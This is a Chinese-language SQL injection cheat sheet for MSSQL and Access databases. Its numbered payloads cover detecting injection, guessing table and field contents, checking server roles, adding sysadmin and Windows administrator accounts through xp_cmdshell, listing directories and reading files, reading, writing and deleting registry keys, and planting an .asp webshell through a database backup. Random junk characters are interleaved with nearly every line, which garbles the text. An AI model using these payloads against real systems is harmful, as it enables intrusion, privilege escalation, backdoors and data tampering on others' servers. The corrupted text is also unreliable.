1.判断是否有注入;and 1=1 ;and 1=2 Y]7 6y>|e
2.初步判断是否是mssql ;and user>0 =RAojoN
^B1$|C
D,
3.注入参数是字符'and [查询条件] and ''=' >pp#>{}
@,9YF}
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Z/T(4
tSe[*V4{'
5.判断数据库系统 |h&Z.
yb,X
}"Et
;and (select count(*) from sysobjects)>0 mssql #lO ^PK
[=",R&uD$
;and (select count(*) from msysobjects)>0 access `Tei
p[&b@U#
oJQ
\?~
vqZBDQ0
6.猜数据库 ;and (select Count(*) from [数据库名])>0 t)= dKC
$+PyW(
r
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [RY Rt/?Q
J=&}$
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |*DkriYY
-{q'Tmst
9.(1)猜字段的ascii值(access) upZtVdd
U1(cBY
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 v!$:t<-5N
mT #A?C2
(2)猜字段的ascii值(mssql) o+.ySSBl+
`F]
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pXvys]@
x4(8
=&Z
10.测试权限结构(mssql) t fD7!N{
v^)B[e!
UB+7]S
4oL .Bt
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4j8$&~/
rNurzag
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0b['{{X(
kBxEp/y
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- W 1u!&:O
)+DDIq
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- w!z*?k=Da
X%iJPJLza
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- R1/c@HQw?
=XK}eQ_d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- |KY-kRN7
,FXc_BCx4
;and 1=(select IS_MEMBER('db_owner'));-- !zvOCAb,
rxqSi0p
3=^)=yOd
bWSc&/9y
11.添加mssql和系统的帐户 9 )!}
|28'<BL
;exec master.dbo.sp_addlogin username;-- xcn~KF8
;exec master.dbo.sp_password null,username,password;-- z>\l%_w
|>[qC O
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- q]?)c
H%etYpD
;exec master.dbo.xp_cmdshell 'net user username password SF9N S*mr
9X,iQ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H=\Tse_.
~Uey'Xz
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ijUu{PG`X
tTF<DD}8
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- <h;_:
{}rnn$HQe
5Zd oem
FJ4,|x3v[x
12.(1)遍历目录 N/ '
.ZV='i()X
;create table dirs(paths varchar(100), id int) Srz8sm;
sp
MYn&p
;insert dirs exec master.dbo.xp_dirtree 'c:\' q
|FOU
}+bo?~2E&
;and (select top 1 paths from dirs)>0 dJ#go*Gn
O9E:QN<U`*
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) LokH4A17U
TOF V`7q;3
RwYFBc
?{jey_]M
(2)遍历目录 S3i p?9
#oFyi @U
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9bM kP2w>
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4c95G^dZ
UCK;?]
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 8|<</v8i
=[&+R9s
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6)*B%$?x
o ABrhK
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 _)~1'tCs}h
qp/1tC`
]uMZvAjb
Yh!=mW!OY
13.mssql中的存储过程 U#]J5'i
B :S8{
xp_regenumvalues 注册表根键, 子键 ?o$t{AQ
OzD\*,{7
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Wh)
7}y@VO6]
xp_regread 根键,子键,键值名 6wj o:I
9(OeH7
;exec xp_regread d(TN(6g@
]jC{o,?s
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 h# KSKKNW
bmK
xp_regwrite 根键,子键, 值名, 值类型, 值 4L ]4WVc
`GW&*[.7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 iw=e"6V
sNcU>qjj6
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 p
JT)X8K"
U,Uy0s2r
xp_regdeletevalue 根键,子键,值名 od5nRb
D)?%kNeA
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \#LDX,=
=}kISh
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 FU/:'/ L
4w=v
/WDo
fM7B<eB
?jUgDwc(w
14.mssql的backup创建webshell /3Gq&[R{
.r{t&HO;Y
use model M2p|&Z%
)[J!{$&y
create table cmd(str image); ~tyqvHC
9#:fQ!3`
insert into cmd(str) values (''); c0o Z7)*}
"igA^^?X1N
backup database model to disk='c:\l.asp'; R9 Ab.t
)^AZmUYZ
\8!CKnfs
iQ(j_i'+!I
15.mssql内置函数 _pZ
<
1.k=ji$D0
;and (select @@version)>0 获得Windows的版本号 |9\i+)C
k ,ldi
;and user_name()='dbo' 判断当前系统的连接用户是不是sa axph]o@ y@
s>I]_W)Pt
;and (select user_name())>0 爆当前系统的连接用户 $[?N^
fS/:OnH
;and (select db_name())>0 得到当前连接的数据库 M>Tg$^lm
}2LWDQ;po
/g!ZU2&l
#n{4f1TZ
16.简洁的webshell @s
cn ?t
W_E^+Wl@
use model v]EZYEXFL)
$Wj{B@k
create table cmd(str image); F~fBr
T9&{s-3*
insert into cmd(str) values (''); }T(=tfv@
;Ivv4u
backup database model to disk='g:\wwwtest\l.asp';